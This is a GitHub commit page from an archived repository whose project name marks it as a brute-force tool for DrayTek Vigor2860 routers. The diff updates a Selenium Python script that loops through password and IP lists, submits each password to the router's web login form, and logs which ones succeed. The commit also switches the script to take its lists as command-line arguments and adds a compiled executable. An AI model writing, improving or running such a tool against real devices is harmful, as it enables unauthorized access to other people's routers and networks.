Skip to content
This repository has been archived by the owner on Mar 6, 2024. It is now read-only.

Commit

Permalink
fixed the status issue
Browse files Browse the repository at this point in the history
  • Loading branch information
yunussahinio committed Sep 11, 2021
1 parent d5aaf44 commit db0b8c2
Show file tree
Hide file tree
Showing 5 changed files with 17 additions and 11 deletions.
2 changes: 2 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
__pycache__/
build/
13 changes: 5 additions & 8 deletions checker.py
Original file line number Diff line number Diff line change
Expand Up @@ -4,11 +4,10 @@
import time,sys,os
os.system("@echo off")
os.system("echo Hayde başlayalım.")
#http://85.105.102.172/weblogin.htm
passFileName= "passlist.txt" #debug
ipFileName= "iplist.txt" #debug
#passFileName= sys.argv[1] #release
#ipFileName = sys.argv[2] #release
# passFileName= "passlist.txt" #debug
# ipFileName= "iplist.txt" #debug
passFileName= sys.argv[1] #release
ipFileName = sys.argv[2] #release
with open(passFileName) as passList:
with open(passFileName+'_RESULT.csv', 'a') as resultFile:
driver = webdriver.Firefox()
Expand All @@ -25,9 +24,7 @@
driver.find_element_by_name("sSysPass").send_keys(p)
driver.find_element_by_name("btnOk").click()

time.sleep(0.300)
status = ("<title>DrayTek DrayTek Vigor2860 Series</title>" in driver.page_source)

status = "Login Page" not in driver.title
if status:
status ="success"
else:
Expand Down
13 changes: 10 additions & 3 deletions checker.spec
Original file line number Diff line number Diff line change
@@ -1,14 +1,16 @@
# -*- mode: python ; coding: utf-8 -*-


block_cipher = None


a = Analysis(['checker.py'],
pathex=['C:\\_workfilesforyunus\\Python\\_tests\\logincheck'],
pathex=['C:\\Users\\sahin\\Downloads\\Draytek_Vigor2860_Checker\\Yeni klasör\\Draytek-Vigor2860-Brute-Force'],
binaries=[],
datas=[],
hiddenimports=[],
hookspath=[],
hooksconfig={},
runtime_hooks=[],
excludes=[],
win_no_prefer_redirects=False,
Expand All @@ -17,11 +19,12 @@ a = Analysis(['checker.py'],
noarchive=False)
pyz = PYZ(a.pure, a.zipped_data,
cipher=block_cipher)

exe = EXE(pyz,
a.scripts,
a.binaries,
a.zipfiles,
a.datas,
a.datas,
[],
name='checker',
debug=False,
Expand All @@ -30,4 +33,8 @@ exe = EXE(pyz,
upx=True,
upx_exclude=[],
runtime_tmpdir=None,
console=True )
console=True,
disable_windowed_traceback=False,
target_arch=None,
codesign_identity=None,
entitlements_file=None )
Binary file added dist/checker.exe
Binary file not shown.
Binary file added dist/geckodriver.exe
Binary file not shown.

0 comments on commit db0b8c2

Please sign in to comment.